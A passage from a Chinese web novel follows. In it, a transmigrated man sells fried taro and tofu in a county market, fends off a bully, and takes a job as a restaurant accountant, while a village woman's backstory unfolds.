一些还没来得及买早食的人,听见这里可以试吃,又见是新吃食,不免多了几分兴趣,等闻见这股香辣的气味,索性就在旁边等了起来。
陈秋树不紧不慢,确定炸好就捞出来滤干油,倒进提前准备好的小盆里,加上两勺秘制辣椒,拌好后撒上一把葱花。
王旭把昨天修剪好的竹签拿出来,给周围的人一人分开了一根,一根竹子剪下来有不少,不怕不够用。
几个在旁边等着的试吃人见状,都拿着竹签在盆里插了一个。
炸好的芋头外酥里软,裹着一层麻辣鲜香的酱汁,吃在嘴里时不时有芝麻爆开的香味。又刚刚出锅,正是好吃的时候。
试吃就那么一人一个,几人吃得意犹未尽,见着锅里还有,忍不住问多少钱。
陈秋树也不急,慢慢道,“六文钱一碗,”
几人一听,这都能比得上巷口那家馄饨了。
陈秋树笑笑,“大哥,我这用的都是上好的清油,那辣酱都是顶好的,有十来种调料,就赚个辛苦钱,”
几人想想也是,这可是清油呢,而且想想刚才那香辣的滋味,肯定不便宜,。又是独一份,就当吃个新鲜,这么想着都分分掏钱。
其实六文钱并不贵,隔壁的清汤面还要要五文钱,他们只是习惯了买东西先讨价还价,万一成功了。
陈秋树把几人要的土豆丸子炸好,装在一个油纸叠成的方盒子里,上面撒上葱花,插上两根竹签,想要带着的都方便得很。
说到这方盒子,还是上辈子他上小学那会见人家小菇凉们玩,缠着他奶奶说也要哪个提篮装花,他奶带着他去找人学着叠的。
周围一些犹犹豫豫的人见着有人卖了,也纷纷上前试吃,发现味道还不错,也不介意花个几文钱买上一碗。也有那种吃了舍不得买的。这陈秋树并不在意。
他忙活了一波客人,就叫王旭过来帮忙,这也不是什么难事,他就在旁边看着火候,顺便招揽客人。
还学着别人吆喝那么一两声,“炸芋头丸子,好吃的芋头丸子,先尝后买,走过路过不要错过”,这些叫卖话都是通用的,一喊一个准。
5. 碰瓷
在加上他的摊位就有几个客人,这么一吆喝就吸引来了不少人。
上午人多,都是些普通人家的女人出门买菜,或是大户人家的佣人小斯。需要买什么东西都是主人家安排好的。
想在这种地方卖些贵重东西大家是舍不得买,反而这种几文钱就能买到的东西最受人欢迎。
而且陈秋树卖的不是粉面那种放不得的吃食,他这个捎回去还能当零食,当菜吃,大家买得很愉快。
一上午,他们带来的一桶芋头就见底了。他让王贵父子在这里卖,买完了就先去城门口等刘叔,他去看看买些东西。
王贵父子俩激动得很,说了句让他自己小心,就开始忙着手里事,两人还觉得芋头带少了。不然他们可以卖一天
陈秋树随便逛了逛,主要是想看看什么可以炸的东西,光卖炸芋头太单一了。
可惜这里并没有现代的那些贡丸可以炸,一圈下来,,他就想到了豆腐,煎一煎抹上调料,味道也不错,以后还可以自己家做些肉丸子,但他目前不会,光是剁肉沫就是一道力气活,得回去琢磨琢磨。
这么想着就往回走,打算去补点儿调料,
没走几步,见前面有人生事,吵吵嚷嚷,一些好好摆着摊的妇人,悄悄卷起自己的东西,偷偷摸摸跑了。
陈秋树随机抓起一位幸运大爷,“老伯,前头这是这么了”
“哎呦,张头子抢人东西呢,快走,快走,”说完马不停蹄的推着车跑了。
不是陈秋树想多管闲事,只是被抢的那姑娘他见过。是住在王贵家隔壁的许家闺女,
许橙天不见亮,就背着一筐竹笋出了门,这刚下过雨,她那片竹林里笋子都冒了尖,不早早卖掉,过段时间老了就可惜了。
她已经在这里卖了有好几天,这时候竹笋特别鲜嫩,又是挑着个头大长得好的拿来,生意道是还过得去,要是卖不完,再到巷子里走一圈就差不多了,
张头子她是知道的,这片大伙儿都怕他。要是在她这里顺两根笋子也就过去了,自己大人有大量,全当看不见,毕竟这种混子,惹不起还躲不起吗?。
今天也不知道这人发什么神经,要把她这框全部拿走,这样的地痞流氓,真是好生没有道理。
这样无理的事儿许橙定是不肯的,这一筐可有二百多文,她还要还得攒钱当买地,
她也也不得脏不脏,往地上一跪,两手拽着背篓半趴在上面,一副死猪不怕开水烫的模样,
张子安在这一片横行霸道惯了,摊子上的东西向来是想拿就拿,居然遇到个不长眼的娘们。几根笋子能值几个钱,要不要他爹最近气不顺,断了他的银子,买个十框百框都不在话下。
原本只是想出来找个人发发气,但这臭娘们下了他的面子,这下就是拿回去喂狗,他还就是非要不可。
朝旁边的两个小斯使了眼色,那小斯就上前去连拖带拽的拉许橙。
许橙也是个犟的,手心被篓子上的竹片刮破了也不松手。
周围路过的人开始指指点点,但也就是指指点点,并没有人上前围观,见着是张子安欺负人,都匆匆离开了,生怕波及自己。
大街上人来人往,张子安没了面子,觉得这女人不识好歹,嘴上骂了一句,“臭娘们,松手,”,
抬起脚准备往人背上踹。
还没踹出去,就被一股子大力撞倒在地
张子安是个爱玩的,私底下和他爹好友的小妾勾搭上了,前段时还被人家捉奸在床,那小妾还怀了孩子。害得他在家挨了一顿鞭子,屁股上的伤还没好全。
这一跤摔下去,疼得他龇牙咧嘴。
两个小斯大惊失色,心中大喊,完了!,也顾不上许橙,赶紧过去把自家少爷扶起来。
陈秋树也慢慢爬起了,这一撞可用了十分力气,这种人他见多了,讲道理是讲不通的,得来点硬的
陈秋树弯下腰,装模作样咳得厉害,仿佛下一秒就就要咳晕过去,虚弱得很。
张子安被两个小斯扶着站起来。气得脸色通红,眼里像是要喷出火来。
“那来的的东西,你瞎啊,没看见小爷在这里?”
陈秋树:“不好意思,兄弟,走得急了,没注意道,还请见谅”
陈秋树抬起头来,一边道歉一边做咳嗽。身材消瘦,脸色苍白,一副弱不禁风的样子。
张子安:“跑那么快,赶着投胎,你知道小爷是谁吗,信不信老子打断你的腿,赶紧滚一边去,”
说着就想接着去找许橙麻烦,,只是这街上那里还有许橙的影子,地上连笋子都没有掉下一根。
“TMD,这娘们跑了,”
陈秋树见人离开了,心里也松了口气。觉得这姑娘还是个机灵的,就是有点不讲义气。
“都是你这小子,坏了小爷的好事,今天小爷让你尝尝瘸腿的滋味时,把他抓起来”张子安火气冲天,怒目圆瞪
陈秋树,……抢别人竹笋就算是好事了?
两个小斯一股脑冲上来,刚要碰到他的时候,陈秋树酒撇见远处走过来的衙役,心里一喜,扯着嗓子喊,
“救命呀,打死人了!”,往地上一趟,不动了。
张子安:……?
小斯:?不是我……
远处传来衙役的怒吼声。
张子安心中不甘,还想叫小斯把人捆走,背地里慢慢算账。
瞧见惹来了衙役,两个小撕开始畏畏缩缩,出门前老爷就交代他们看顾着少爷,别成天惹事。,
欺负欺负这些村民也就罢了,这要是惹上衙门的人,回去不得掉层皮子。
“少爷……老爷说郭家那边事儿还没完,让您最近在家好好看书,这要是……”
张子安抬手就是一巴掌拍那小斯头上,打得人眼冒金星。“你还教我做事?老爷,老爷,你是我的人,还是我爹的人,,”
“信不信我抽死你?”话虽然这么说,但想起他爹那狠样。心里发虚。
眼看衙门的人马上到了,又看还在地上装死碰瓷的人,气得牙痒痒暗骂一句“等着,老子过了这风头,再跟你算账”说着就带
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着两个小斯跑了。
陈秋树:就这……
张子安能不怕吗?她之前和人家的小妾勾搭,事后东窗事发,被他爹一顿好打,,而这听他爹说那家人是个有权有势的,是某位贵人的远亲。
他爹为这事儿焦头难额,看他及不顺眼,他这会应该关在家里读书,这要是惹了事回去,不好交代。
人走了,陈秋树也爬起来,身上无伤无疤,装下去也不成样子。他也不想和这些富家子弟有什么牵扯,而这点事儿也不足以搬倒对方。
最好那少爷能把他这个小人物忘了,这样都能相安无事,毕竟自己也不是个能忍的。
衙门的人都是雷声大雨点小,过来见没无人受伤,觉得就是小打小闹,无伤大雅,慰问了几句就离开了。
陈秋树笑脸相送,等人走远了,才朝不远处的小男孩打了个响指,招手叫人过来。
从口袋里拿出剩下的两文钱递给男孩“谢了,小兄弟”
这孩子也是他过来之前随机抓的,允诺给五文钱,让他去衙门喊人,说这边儿有人闹事,打起来了。
没想到小孩办事效率还挺高,这么快就来了人,不然还真要受点皮肉之苦。
“大哥哥,你没事吧,”小孩关心的问,其实他也最非常讨厌那些富家子弟到处欺负人。
“没事”,陈秋树朝小孩笑了笑
两人交谈了几句男孩就离开了。其实陈秋树还是有事的。
身体底子不好,撞那么一下还挺疼。
他又想起来自己光顾着见义勇为,动西还一样没买。这么一当误估计是赶不上牛车了,也不知道王贵父子走了没有。
他不再犹豫转身离开了,没有注意到躲在墙角的身影。
刘叔果然已经离开了,毕竟车上还有其他人,不好让人多等。王贵带着东西先回去。交代王旭在这儿等他。
王旭都在这儿等了好一会,不见人回来,心里着急,他和他爹把东西卖完,收收捡捡这都半个多时辰了,再要买什么东西这会也应该来了。
正想着,要不还是去找找看,就怕出什么事儿。
就见陈秋树提着东西过来,现下才松了一口气。
他上前接过东西,看着小小一袋子,没想到还挺重。估计是那些调料了,。他正乐呵,看陈秋树脸色不太好,“怎么了”
“路上不小心摔了一跤”陈秋没把这糟心事说出来。随便找了个理由糊弄过去了。
下午两人也没有到处瞎逛,在路边随便找了个铺子吃了碗面,省得回去家去做。
陈秋树有点压不住那股想要咳嗽的气儿,还是这身体太弱,以前这人就是个两手不沾阳春水的少爷,落魄后,他娘也没要他干过什么活,今天一早上忙到现在,可不要犯病吗?,
还得回去吃药,又没有进村的牛车,他实在走不了那几里路,硬走回去,怕是要得不偿失。
索性赚了些钱,决定叫个牛车送自己回去。
王旭倒是无所谓,反正他经常走着的。但是见陈秋树状态不好,也没说什么。
6. 第 6 章送柴
最后牛车花了二十文钱,
这是陈秋树坐得最舒服的一次,一个人坐一边,宽宽敞敞,还没有人在旁边唠嗑。好像连那一阵的胸闷都好了不少。
到村里快要半下午,不冷不热刚刚好,时不时袭来一阵夹着香味儿的清风,正是下地干活的好时间。田间地头都有人。
陈秋树再觉得如何舒坦,这一路又摇又晃,也有些脑袋疼,不想动。喝了药就躺床上接着补早上没睡完的觉。
院墙上蹲着一群麻雀,沐浴在落日的霞光里,连羽毛上都镀了一层金色的光韵。
一觉睡醒整个人神清气爽,太阳也要落山了。有什么事都明天再说。
家里还有青菜,把买来的肉切下一块,剁成肉沫,打算煮个青菜瘦肉粥,在煎两个鸡蛋,这鸡蛋是上午买的。也给王家也买了一些。
都不是什么复杂的菜式,很快做好就端上桌,刚出锅的粥,肉香扑鼻,夹带着菜香和米香,入口软糯,细腻的米在舌间化开,味道里都是满足。
吃过晚饭没多久,王贵父子过来,手里端了一盆洗好的芋头。
中午王旭怕打扰陈秋树休息就带回去他家去处理。他家没有蒸笼,洗好又带到陈秋树这里来蒸。
说好要给工钱,陈秋树也不拖沓,今日出摊顺利,带出去的东西全部卖完,一共赚了二百多文,
他给了两人一人五十文,这已经比去做短工还有多几文钱,两人喜不自胜,眼里跃动着光芒。
分工把芋头蒸好,捏成圆球,又把要用的东西准备好。明天陈秋树打算让王贵父子自己去卖。
他还想去找杨婶子买点豆腐。想起前世吃的铁板豆腐那香味,是他爱吃的。
陈秋树伸了个懒腰,无所事事,下午睡得太多,天又还早,想着要不要出去地里逛街。
院子里又响起来敲门声。
这个点了会是谁?,陈秋树去开了门,哦!原来是许姑娘。
她还是和第一次见面一样,出了一头汗,背上背着一背篓竹笋,只是本该在上面的柴火放在了地上,手里还提一篮子竹笋。
……
许橙今天上午看见了,这人是故意撞上去的,他是想帮自己解围吧!
本来打算偷偷离开去衙门找人,没成想衙门的人已经过来了,早知道就不跑了,显得她多么忘恩负义。
村里人都说陈秋树底子弱,想必是干不了重活,许橙就砍了一捆柴火送过来当是报恩,本打算偷偷放下就走,又怕里面的人不出来,被别人那走可就不好了。
这会儿开了门,她还有点不好意思。她把手上的竹笋也放下,磕磕巴巴说“今天早上,谢谢你,”
“这柴火送给你,笋子也是挑的最新鲜的”,说完不等陈秋树回话一溜烟跑了。
“许姑娘”
陈秋树喊了一句,本想说这柴火我提不动,就见背着大背篓的身影一摇一晃,脱口改成“背着东西呢,跑慢点”
等人走出视线,陈秋树才发现他是真的提不动,这一捆还挺厚实,最后他只能先拖着移动到了院子里,等着明天再叫王旭帮忙搬到柴房。
再说这竹笋真的是很嫩很新鲜,打算明天炒肉吃。
——
今天不用一大早出去摆摊,昨晚又睡得晚,今早他就睡了个懒觉。
吃了午饭才去了杨婶子家,她家住在村口,家里卖了好几年豆腐,虽然说豆腐不是什么稀罕东西,家家都会,但做起来麻烦,很多人更愿意花个两文钱就能买一大块。
陈秋树去的时候,杨婶正和他儿媳妇在屋檐下做衣服,两人喜气洋洋的不知道在说什么。
见到他过来,杨婶子放下手里的针线,招呼他坐,“秋树啊,快来快来,坐这里”
陈秋树总感觉杨婶对他有一种莫名其妙的热情。
“婶子,我过来是打算买点豆腐,”他不想多聊,打算买了东西就走。
“你瞧你,急啥,坐这歇口气,我给你倒碗水,”说完就叫他儿媳妇去屋里倒水。
院子里就剩两人,杨婶状似不经意的问,“我说小树,你上次不是说找事儿做,怎么样了?”
陈秋树:……
“还没呢婶,得过两天再看”
听他怎么说,杨婶又安慰他“也是,啥事都得慢慢来,咱们不着急,”
陈秋树:我没急啊!
“婶子你看,我这家里还有事……”
“是,你看我这记性,你要几块,我叫你叔给你拿,今儿刚做的,新鲜着哩”说完就站起往后院走去了。
杨家后院做了个豆腐房,院子里飘着豆腐的香味。陈秋树一买就是一板,十二块。
把杨婶夫妻都惊了一跳。
“小树,这豆腐放不得的,买怎么多吃得完吗?
”
“不是自己吃的,我做了点吃食拿到县城去卖,用得着。”
听完杨婶眼睛就亮了,刚想说什么就被隔壁家的吵骂声打断。
“你看你养的好闺女,不为家里着想就算了,反正我也不图她什么,”
“好吃好喝养着还养出个白眼狼来,就是拔了她两个笋子给咱们小宝尝尝鲜,这还要跑过来抢了去,”
“你看看她那样子,这要是传出去了,还说你这个当爹的管不住女儿”
……
杨婶朝着院墙啐了一口,拉着陈秋树回到了前屋。
“秋树,你可别听那两人乱说,许橙她那个后娘,就不是个当人的”
……
谁家还没有的糟心事,陈秋树真的不想听这些,他只想是来买豆腐的。奈何杨婶压根没给他告辞的机会。
“许橙可是个好姑娘,那勤快劲儿,咱们村里没那家姑娘能比,”
“从小就聪明能干,还有一把子力气,连小伙子的比不上,”
“就是运气不好,从小就没了娘,小小年纪就被后娘磋磨,后来又没了家,你说她一个女娃,可怎么办要是能找个夫家,两人相互扶持……”
他算是知道杨婶那莫名其妙的热情从何而来,想要做媒撮合他跟许家姑娘凑一对儿。
虽然他没有准备打一辈子光棍。就目前来说,他确实没有想过这
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事。连温饱都还是个问题,感情上的就更不要说了。而且他也并不认为那个见过几次面的姑娘需要依附一个男人生活。她很坚强。
王贵父子从平阳县回来。状态一改前几日的萎靡,今天算是两人第一次出摊。
王旭神采奕奕的和陈秋树说着他卖东西的事,说有个人吃了想偷偷不给钱,还是他发现的。又是谁谁谁买了好几份。
今天带去去的的芋头丸子全部卖完了,比昨日还要多了二十文,二百七十文,。
陈秋树把钱收下又给了每人六十文的工钱。
又和他们说打算加个铁板豆腐,两人听了眼睛都亮了起来,那岂不是能赚更多钱。
陈秋树这家里有找了一口铁锅,虽然比不上平底锅但也可以用,。
王旭帮着在在灶下烧火。
陈秋树先做了一碗辣椒油,放在一边备用。
油锅热后把切成块的豆腐整齐铺在里面煎,就是这种半圆形的炒菜锅,需要不停转动锅的倾度,确保每块豆腐都都能煎到。一边煎一边把辣椒油刷到上面,没一会豆腐两面就起来薄薄的焦皮,也裹满了辣椒油的酱汁,出锅前撒上葱花和芝麻,入口就是一种属于烧烤特有的香味。
三人先吃了个饱,他又让王贵带了几份回去给孩子。
徬晚许橙又来了,陈秋树开了院门,依旧和上次一样背着一筐笋子,前面放了一捆干柴,这次还有一下篮子的荠菜,看上去也很嫩。
陈秋树突然想到了杨婶说的,那许家姑娘可能干了。
许橙想着那一捆估计不够用多久,刚好现在她天天在林子里拔笋,顺便就帮忙捡一捆过来,又不是多大事,就当是报恩了。
她张了张嘴又不知道该说什么,谢谢,昨天已经说过了,难不成说,你身子差,我帮着捡些柴火。半响才说,“那张头子不是什么好人,你以后出去小心些”
说完就准备离开。
好在这次陈秋树急时叫住了人,“等等,这柴我搬不动,还得麻烦你帮我搬进屋”
许橙:……她就知道这人是个没力气的。
没多想,就要上前帮忙。陈秋树又让她把背上的东西放下再搬,还自告奋勇的从后面抱住了背篓“你放吧,我在后面接着”
许橙也不扭捏闻言就把背篓放下了。
哪怕心里早有预料,陈秋树也被这重量压得够呛,好在许橙放开背篓的手并没有离开,而是反手接了一把。才将背篓稳稳的落在地上。
那么大一捆柴,他眼睁睁的看下许橙两三下就给提进了拆房,动作叫一个干净利索。
陈秋树拿了个小凳子过来。,放在院子里
“你休息一会,我去给你倒杯水”
他没有叫人进屋里坐,毕竟男女有别,吓到人家姑娘就不好了。
灶下的火没有灭干净,有些火芯子,他塞了把干草进去,冒了几丝青烟就燃起了火苗。,把锅里的豆腐热了一下,又刷了一层酱料,出锅前撒上葱花。
许橙坐在院子里一阵莫名其妙,,这倒水的时间也太长了吧,又不好意思自己离开。
7. 许姑娘
终是觉得不打招呼就这么走太没礼貌,她坐着坐着就发起来呆,眼神慢慢放空。
直到一股香辣的味道忽然飘进鼻息!
咕~咕~
肚子不争气的咕咕直叫。
陈秋树只当没有听见,他把手上的篮子递给许橙,也是许橙用来装竹笋的篮子。里面放了一个带盖的白瓷碗。
陈秋树:“这是我做的一些小吃,你带回去当菜吃,当是谢过这两天给我捡的柴火,”
“以后不必再给我捡柴,这样太麻烦你了。”
许橙提着篮子,一脸茫然,“不麻烦,我都是顺便干的”
陈秋树笑笑,瑶瑶头说:“那天只是举手之劳,许姑娘不必如此”。
……
回到家里,许橙先把篮子放到桌上,怕一个不小心就打破了里面的那个白瓷碗。
这才去放下背篓,起身揉了揉酸疼的肩膀。
天色渐暗,她舀了盆水洗了手脸才去做晚饭,将就中午的剩菜热了一下。
小心翼翼的打开瓷碗,里面的东西还冒着热气,裹着辣油的豆腐点缀着翠绿的葱花,看起来就非常有食欲。
她凑近嗅了一下,很香,夹了一块放进嘴里,很好吃。
吃着吃着,就落下泪珠,这个味道她不是第一次吃到,记得很小的时候,她娘做的豆腐也有这个味儿,每每辣得她红了嘴都舍不得停下,往往她娘都会说:“你还小吃不得辣,等我们橙子长大了,娘就天天给你做。”
许橙是许顺才的大闺女,没满五岁那年亲娘就没了,结着继母进了门,后来有了弟妹,父亲就不再是她的父亲.。
干累活,穿旧衣,吃剩饭,这些也就罢了,,她最怕的是挨饿,从小到大,锅里饭总是不够她的那份。
有两年长身体,饿得受不了,直接去地里拔了刚成熟的稻子煮来吃。
许橙有门娃娃亲,是从小就定下的,隔壁村柳家的长子柳明生,都说这柳家儿子得长得白白净净。柔柔弱弱不像个汉子,却十分会读书,九岁考了童生,后来又中了秀才。为了方便读书一家子就搬到县城。
去年又考上了举人不过也才二十有一。虽说年纪不大,但因定了亲事,也不好让人家姑娘多等,家里长辈便把婚期定在今年的二月十五。
许橙对自己的亲事也很满意,不说她对柳明生感情怎么样,小时两人经常凑一块玩儿,柳明生性子绵软,长得干干净净,家里长辈也和善,想来嫁过去不会受婆家磋磨。
成亲那日,柳家还专门请了轿子,一路敲锣打鼓,喜气洋洋的把许橙迎进门。
傍晚宾客散去,却迟迟不见柳明生进门,,只听见屋外的一片虫鸣。
许橙等了一刻钟,还不见人,就揭了盖头出去看看情况。
陈家的房子是两座两开的小院,中间开了一扇门,父母带着弟弟住一边,另一边自然就给了柳明生
院子里安安静静,许橙借着月光准备去主院那边看看,却突然听到不远处的树下传来啜泣声,她立马缩到墙角。
伸头去看,看清树下的人时心跳加快,难掩心中震惊,只见树下站着两个人,一个是陈明生,一个她不认识,不过确确实实是个男人。
柳明生抱着一个高大的男人,额头抵在男人的背上喃喃自语“会有办法的”
“明生,今天是你成亲的日子,就这样吧,”男人掰开抱这自己的双手,翻身跃过围墙消失在了夜色里
看着柳明生颤抖的背影,许橙缩在墙角心情难以平复
没想到柳明生竟是个段袖,那还娶自己做什么?
等心绪稳定后,她从墙角站起来走到哪个大树下,声音平淡的喊了句“柳明生”
前面的人状似吓了一跳,看见是她又似乎没有感到有多意外,“橙子,你都看见了”
许橙不置可否。
柳明生张了张嘴半响才说“橙子,对不起”
许橙走上前打了他一巴掌,问他为什么不说,。
其实她知道,柳明生是个孝子,又是家里的长子,家人都是地地道道的农村人,断然是接受不了引以为傲的儿子是个短袖。柳明生娶自己不过是一道幌子,那自己呢?多无辜。
当天夜里许橙就让柳明生写了和离书,拿着自己不多的嫁妆回到了长溪村。
她并没有回家,,后娘怕污了弟妹的名声,没让进门。
其实这样再好不过,给别人洗衣做饭,不如给自己当牛做马。
在许家闹了一场,拿回了她娘的竹林和草屋。
现在吃着这碗热腾腾的豆腐,又想起了记忆里哪个记不清模样的温柔身影。
好像这些段日子受的委屈都一涌而出。她忍不住把双手覆到脸上,泪水顺着指缝流了出来。
——
天气渐渐回暖,空落的枝头变成翠绿,和煦的阳光穿过树梢刚好撒在陈秋树的肩头,留下点点摇曳的光斑。
陈秋树皮肤白皙,气质清冷,凤眼薄唇,如塘上青莲一般,与喧闹的街头格格不入。
无视路人打量的目光。修长的手指行云流水的翻动着手里个锅铲,,铁锅的的豆腐被煎得滋滋响。
头两天买过芋头丸子的客人,有些已经站在旁边絮絮叨叨和王旭聊起天来,。
陈秋树还是和之前一样,前面一锅作为试吃让大家都尝尝。主打的就是一个先尝后买。
豆腐二文一块买来,一块可以切成六小块,卖一文一块。
好些闻着味道过来又舍不得花钱的村民这下开心了,个个都能买了那么一两块尝尝鲜,还有些自己咬了一口就包一起带回家给孩子的。
没法,都是过来卖点自己家种的东西,一天也就十几文钱,花个五六文去买糊嘴的东西肯定是舍不得。钱可都要花在刀尖上。
十二块豆腐很快就卖完了,倒是做好的芋头丸子还剩下不少。陈秋树交代了王贵父子继续在这儿卖。自己有事要离开一会。
平阳县的衙门坐落在西街街头,雕梁画栋,白墙黑瓦,里面的梁柱刷着红色的油漆,处处透着庄严肃穆。
陈秋树上次因为太着急没有多看。这次是没敢多看。一路摸摸索索到了街道司。
还是上次见到的那名衙役,他正在面无表情
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和一名身穿粗布麻衣的男人交谈。没一会那人就垂头丧气的离开了。
陈秋树心里打鼓,也恭恭敬敬的上前询问。
“这位官爷,在下过来问问,想寻的差事可有结果,”
“名讳?”
陈秋树报了名字,又见那衙役拿起另一本册子翻了翻。
陌约半盏茶的功夫,才抬来人看他。
“东街,玉友楼要一位账房,你直接过去”衙役小哥惜字如金,说完给了他一张纸,就传唤下一位。
陈秋树拿着纸,一脸懵懂的离开衙门,纸上是那天留下的信息,下边龙飞凤舞的写着玉友楼三个字
“直接过去,”是成了的意思吗?顿时心花路放,心情极美。
想了想又回去和王家父子俩说,卖完了就先回去,不必等他。
——
正午的阳光普洒在红墙绿瓦的飞檐楼阁之上,衬得屋脊上的神兽熠熠生辉。
东街是平阳县最为繁华的一条街,街道两旁店肆林立,酒楼,画舫,文玩,钱庄,还有供人消遣的烟花之地,形形色色的人大多锦衣华服,离了嘈杂的吆喝声,反而有总平静的热闹。
陈秋树抹了把额头上沁出的薄汗,看看头顶的招聘,“玉友楼”
“应该就是这里了?”
不怪陈秋树怀疑,这玉友楼修建得着实气派,外观比别得铺面大了不说,里面更是风亭水榭,入门就是假山莲池,池面金波荡漾,可见几尾红色锦鲤露出水面。可惜现在并非荷花绽放时节。
穿过莲池上的红色木桥,就来到了玉友楼的正厅,
客似云来,杯觥交错。热烈而不喧哗,行菜者排列有序的端着菜去往二楼的雅间。
陈秋树一走进去就有小二热情的上来招呼。
“客观,前厅还是雅阁?”
“听说贵地招账房先生,不知是否还招人?”说着他把在衙门拿的那页纸拿了出来
小二是个眼尖的,一眼就看到了“哎呦,要的,要的,您可算是来了!”
“您跟我来,”说完就引着陈秋树来到了后院的一间屋子。
“您在这儿等着,我进去通报一声”
没一会小二就出来让他进去。
屋里里茶香四溢,一名年将不惑的男人迎面走来,面色和善。
陈秋树抱手做衣,“在下,陈秋树,”
“不必拘礼,叫我吴掌柜就好”
两人坐下,吴掌柜给他倒了杯茶。茶汤金黄,入口醇香。
“小友可是衙门街道司介绍而来?”
陈秋树把怀里的纸递给了吴掌柜,。
吴掌柜眯着眼看了一遍,确认后喜笑颜开。
“听说小友算术了得,离了算盘竟还能算得毫不差?”
陈秋树笑笑,这时候他也不好在谦虚。
这时有人过来敲门,吴掌柜叫人进来,还是刚刚哪个小二,手里正拿了一本薄薄册子,。
陈秋树:……似曾相识的画面。
“这是我们这几日的进货单和还请小友给算算总额”说着还吧桌上的算盘推了过来。
8. 感冒
陈秋树打开看了几眼,心里就有了大概,就是那种普通的进货单,蔬菜,粮油,肉食,酒水,他飞快的在心中换算,不一会就得出了几个答案,提笔写好,又算了个总额,写好之后才合上递给吴掌柜。前前后后也就用了几刻钟。
吴掌柜拿过来看了看,这份定货单早就算好了,只不过是多写了一份考考这个年轻人罢了。确认无误才爽朗的笑了几声。
“年轻人果真了得,”
陈秋树这才谦虚的附和“过奖,过奖”
“可对月银又所要求陈?”
陈秋树当然觉得是多多益善,但他没说“您按工价给就行”
吴掌柜喝了口茶,喟叹一声,单手敲击着把手,“别的地方我不知道,但咋们这儿,普通伙计都是月银二两”
“这账房先生需要做事精细之人,你要是能做好,五两月银”吴掌柜心中得意
陈秋树心中惊讶,,那些日日干苦力的一月不到二两。
以前家里的仆从小斯一月也就几百文。
本以为能有个二三两就不错了,毕竟账房先生不比普通杂役。
为此陈秋树高兴不已,这段时间真是穷怕了,想他一个当代小老板,竟然能为五两银子高兴得想要欢呼出声。
不管心里怎么想,他面不改色,“谢过掌柜。”
两人说好几时上工,。吴掌柜就被人叫走了。
临走前还叫了堂前管事和他说了说每日所行之事。
回到长溪村时天色已经渐暗。下了牛车家都没回,马不停蹄的去了王家。
一进门就被两个孩子簇拥着进屋,此起彼伏的喊着“秋树大哥!”
陈秋树把怀里的甜糕递给了王小妮,叫她和弟弟分着吃。
两个小的看着自己爹娘点头,高高兴兴的接过到一边吃去了
陈秋树阻止了要去倒水的王旭,几人坐了下来慢慢说,
“叔,婶,我今天在县城里找着了个活计,做了玉友楼的账房先生”
王家人一听,“玉友楼”惊叹出声,那可是平阳县里最大的酒楼。
王贵连连点头“,好,那是好事,”
陈秋树:“叔,从明日开始,您带着旭哥儿继续去支摊,我不去了”
“以后赚的银子我分三成,其余的你们收着”相当于是百分之三十。一天要是能赚三百文,他拿九十。
王贵明显也是知道的,“这不可,我们哪里能拿你的钱,不可!”
“王叔,你听我说,”陈秋树想想把自己的决定说了出来。
“这摊子往后还得劳烦您多费心,除了以后做些新吃食,其余事情都得你们来做,不存在要不要我的钱,那都是你们自己赚的,”
陈秋树原本也没有长期摆摊的打算,那样可太累了,他受不了。而这几天观察王家父子完全可以胜任,旭哥儿还是个会来事的性子。
“我家里那些厨具,你们看看有那些用得到的都可以搬过来,省得以后若我不在家,你们不方便”他打算以后只出技术不出劳力的技术股,
王家人,听得一愣一愣的。他们家以后有自己的摊子了?,自己做生意?,
把王家的事情安排好,陈秋树一身轻松的回了家。
第二天,他一早就坐着牛车到了玉友楼。上工的头一天,万不可迟到了。
刚好赶上运粮食过来的马车,停在玉友楼后门处,陈秋树拿着账本,检查品质后又条理清晰的一一记好,随后又和车夫核对无误,这才叫人把食材搬进仓库。
拿着账本仔细的看了一遍,眼神一飘,视线正好和过来的人对了个正着。
陈秋树微微愣了一下。
玉友楼的后院是条幽静的小巷子,青石板铺成的路和围墙,墙上挂着不不知道是什么品种的藤蔓植物,这时正开着星星点点的白色小花,仔细闻闻还能嗅到空气里的芳香。
许橙刚好站在一丛花前,墙头垂下的一束花朵轻轻落到她的发顶。
在这里见这陈秋树,来人明显也愣了一下,站在哪里踟蹰不前。
陈秋树很快反应过来,把账本合上揣进了怀里。
上前接住了许橙的背篓,这条巷子是玉友楼修建时就专门留下的,用来方便进货的通道,到这里来肯定是来卖东西来了。
“许姑娘的笋子是卖给了玉友楼?”
陈秋树拿出账本翻了翻前面几页,发现确实有两次购□□笋的记录。这才安了心。毕竟他没有那么大的权限可以收购产品。
许橙声音闷闷的说“恩,王管事知道的”
她这会觉得有些头晕,想必是昨日淋了雨,想着一会就去抓副药吃。
陈秋树听声音察觉不对,抬起头来多看了几眼,发现许橙双眼塔拉,脸上带着不自然的潮红,风摇欲坠的样子。皱了皱眉头,这是生病了?
最后他把人叫到了吴掌柜给他安排的屋子里休息。没有见着就算了,遇见了也不放心让人这样走出去,要是出了什么事,就不太美好了。
陈秋树去了后厨,要了碗姜汤,又和王管事说起了笋子的事,确定好后,才端着姜汤回了屋子。
“来,你把这个喝了”,陈秋树把姜汤放在桌前。
许橙微微倾身,双手端起了碗,橙黄色的汤汁冒着热气,碗底还沉了几块姜片。
“谢谢你”
陈秋树笑笑,提醒她“慢慢喝,小心烫”
等苏橙喝完,陈秋树才把一小包铜板递给了她
“竹笋已经称好了,背篓就在门口,你在这里休息好了,再离开,”
想了想又说“我已经打了招呼,不会有人进来,你放心”
许橙已经感动热泪盈眶,不知说什么才好,只知道点头答应,想着这陈家的公子真是个好人。
陈秋树又去正厅帮着收账,忙完了才回到后院看看许橙有没有离开。
推门进去就见许橙趴在桌子上,心里咯噔一下,晕倒了?
急步上前听见平稳的呼吸声,心想自己真是大惊小怪。只是睡着了而已。又想起了几次碰面的场景,这姑娘不是在挖笋就是在背笋。叹了一口气,想必是累坏了。
来回走了几步,又在心里疯狂挣扎了许久,才大着胆子伸出几根手指覆在了许橙了额头。还好不怎么烫。
把外衫轻轻披在睡着人的背上,才放心的轻轻关上门,做事去了
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。
许橙醒迷迷糊糊醒来,一时还分不清身在何处,直到披在身上的衣服滑落,才神志清明起来。
顿感羞恼,怎么就睡着了。
也不好意思再继续坐下去,起身把衣服叠放整齐,。
正打算从后门离开。
忽然觉得该和陈秋树打个招呼。她又悄悄摸摸的往回走。
还没有到正厅,她就听到了里面传来的热闹声,,也不知道陈秋树这会忙不忙?她在外犹豫徘徊,,想着要不要进去。
